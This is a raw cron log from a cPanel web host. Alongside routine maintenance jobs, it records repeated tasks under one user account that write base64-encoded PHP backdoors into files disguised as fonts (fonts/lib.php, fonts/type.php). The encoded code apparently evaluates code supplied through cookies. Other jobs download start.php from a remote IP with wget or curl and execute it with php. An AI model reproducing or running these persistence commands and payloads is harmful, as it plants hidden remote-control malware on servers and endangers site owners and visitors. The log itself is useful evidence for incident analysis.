Sep  4 02:19:02 ip-184-168-122-23 CROND[2035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:19:02 ip-184-168-122-23 CROND[2037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:20:01 ip-184-168-122-23 CROND[2135]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 02:20:01 ip-184-168-122-23 CROND[2138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:20:01 ip-184-168-122-23 CROND[2137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:20:01 ip-184-168-122-23 CROND[2139]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:20:01 ip-184-168-122-23 CROND[2140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:20:01 ip-184-168-122-23 CROND[2141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:20:01 ip-184-168-122-23 CROND[2142]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 02:20:01 ip-184-168-122-23 CROND[2148]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:20:01 ip-184-168-122-23 CROND[2150]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:21:01 ip-184-168-122-23 CROND[2334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:21:01 ip-184-168-122-23 CROND[2336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:21:01 ip-184-168-122-23 CROND[2335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:21:01 ip-184-168-122-23 CROND[2337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:22:01 ip-184-168-122-23 CROND[2465]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:22:01 ip-184-168-122-23 CROND[2467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:22:01 ip-184-168-122-23 CROND[2468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:22:01 ip-184-168-122-23 CROND[2469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:22:01 ip-184-168-122-23 CROND[2470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:23:02 ip-184-168-122-23 CROND[2580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:23:02 ip-184-168-122-23 CROND[2582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:23:02 ip-184-168-122-23 CROND[2583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:23:02 ip-184-168-122-23 CROND[2584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:24:01 ip-184-168-122-23 CROND[2674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:24:01 ip-184-168-122-23 CROND[2676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:24:01 ip-184-168-122-23 CROND[2679]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  4 02:24:01 ip-184-168-122-23 CROND[2677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:24:01 ip-184-168-122-23 CROND[2680]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:24:01 ip-184-168-122-23 CROND[2678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:25:01 ip-184-168-122-23 CROND[2789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:25:01 ip-184-168-122-23 CROND[2791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:25:01 ip-184-168-122-23 CROND[2795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:25:01 ip-184-168-122-23 CROND[2794]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:25:01 ip-184-168-122-23 CROND[2799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:25:01 ip-184-168-122-23 CROND[2802]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 02:25:01 ip-184-168-122-23 CROND[2800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:26:01 ip-184-168-122-23 CROND[2889]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:26:01 ip-184-168-122-23 CROND[2890]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  4 02:26:01 ip-184-168-122-23 CROND[2892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:26:01 ip-184-168-122-23 CROND[2894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:26:01 ip-184-168-122-23 CROND[2893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:26:01 ip-184-168-122-23 CROND[2895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  4 02:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  4 02:27:01 ip-184-168-122-23 CROND[3222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:27:01 ip-184-168-122-23 CROND[3223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:27:01 ip-184-168-122-23 CROND[3224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:27:01 ip-184-168-122-23 CROND[3225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:28:01 ip-184-168-122-23 CROND[3327]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:28:01 ip-184-168-122-23 CROND[3329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:28:01 ip-184-168-122-23 CROND[3333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:28:01 ip-184-168-122-23 CROND[3331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:28:01 ip-184-168-122-23 CROND[3334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:29:01 ip-184-168-122-23 CROND[3423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:29:01 ip-184-168-122-23 CROND[3426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:29:01 ip-184-168-122-23 CROND[3425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:29:01 ip-184-168-122-23 CROND[3427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:30:01 ip-184-168-122-23 CROND[3516]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 02:30:01 ip-184-168-122-23 CROND[3518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:30:01 ip-184-168-122-23 CROND[3519]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:30:01 ip-184-168-122-23 CROND[3524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:30:01 ip-184-168-122-23 CROND[3528]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:30:01 ip-184-168-122-23 CROND[3526]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:30:01 ip-184-168-122-23 CROND[3527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:30:01 ip-184-168-122-23 CROND[3530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:31:01 ip-184-168-122-23 CROND[3631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:31:01 ip-184-168-122-23 CROND[3632]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
